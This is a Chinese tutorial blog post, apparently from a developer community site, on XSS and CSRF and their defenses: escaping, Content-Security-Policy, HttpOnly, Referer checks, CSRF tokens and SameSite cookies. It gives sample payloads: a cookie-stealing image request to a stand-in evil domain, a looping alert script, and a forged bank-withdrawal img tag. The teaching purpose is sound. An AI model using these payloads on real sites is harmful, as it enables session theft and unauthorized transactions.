网站安全XSS和CSRF

1.XSS和CSRF定义

XSS:跨站脚本攻击
客户端可能运行一个来自恶意攻击者的脚本,用户的输入的地方和用于展示用户输出的地方都存在不安全性

例子:
评论中加入恶意脚本<script>while(true){alert(1);}</script>,服务器收到后又渲染到其他访问网站的用户的页面中,那么就执行了这个不能关掉的提示框。

图片标签窃取用户的cookie信息:嵌入到用户页面中,盗取用户的cookie:
(new Image()).src = “http://www.evil-domain.com/steal-cookie.php?cookie=“; + document.cookie;

CSRF:跨站请求攻击
其原理是攻击者构造网站后台某个功能接口的请求地址,诱导用户去点击或者用特殊方法让该请求地址自动加载。
比如:
邪恶图片请求窃取本机上的银行账号密码cookie并在另一个网站上发送

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"  alt="evil">

2.XSS防范措施

  • 对用户的输入进行转义过滤
  • 利用内容安全策略,在页面指定Content-Security-Policy并包含 default-src 或者 script-src指令来防止内联脚本运行, 并杜绝eval()的使用

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

1.过滤用户的输入:防止script标签以及image标签(image可能会执行onload和onerror指定的脚本)嵌入到innerHTML中,

2.利用内容安全策略:在页面指定包含 default-src 或者 script-src 指令来防止内联脚本运行, 并杜绝eval()的使用

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies

3.服务器端可以在设置cookie的时候添加HttpOnly标记以阻止该包含服务端session信息的cookie被客户端js调用:为避免跨域脚本 (XSS) 攻击,通过JavaScript的 Document.cookie API无法访问带有 HttpOnly 标记的Cookie,它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

3.CSRF防范措施

  • 经典防御手法是判断请求的referer字段,如果不是自己的网站就返回错误(Referer
    首部包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer
    首部识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。)
    https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer

  • 用于敏感信息的Cookie只能拥有较短的生命周期;

  • 对于一些对数据库进行修改的敏感操作,使用POST而不是GET方法
    怎么样确保请求是合法的呢?因为攻击者要伪造POST请求,可能会设计一个链接指向一个页面,用户点击了该链接之后,页面进行加载并自动提交表单内容。怎么确保请求是用户发起的呢?可以在渲染用户请求页面的时候,在页面的表单中埋入value为随机数的input标签,并在发回响应的时候把该随机数作为cookie一起发送到客户端。服务端接收到请求的时候,对比用户提交的token和cookie字段,如果一致则合法。
  • 比较新的办法是将 Cookies 设置成SameSite: strict。

4.参考

HTTP cookies
饥人谷Web安全

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值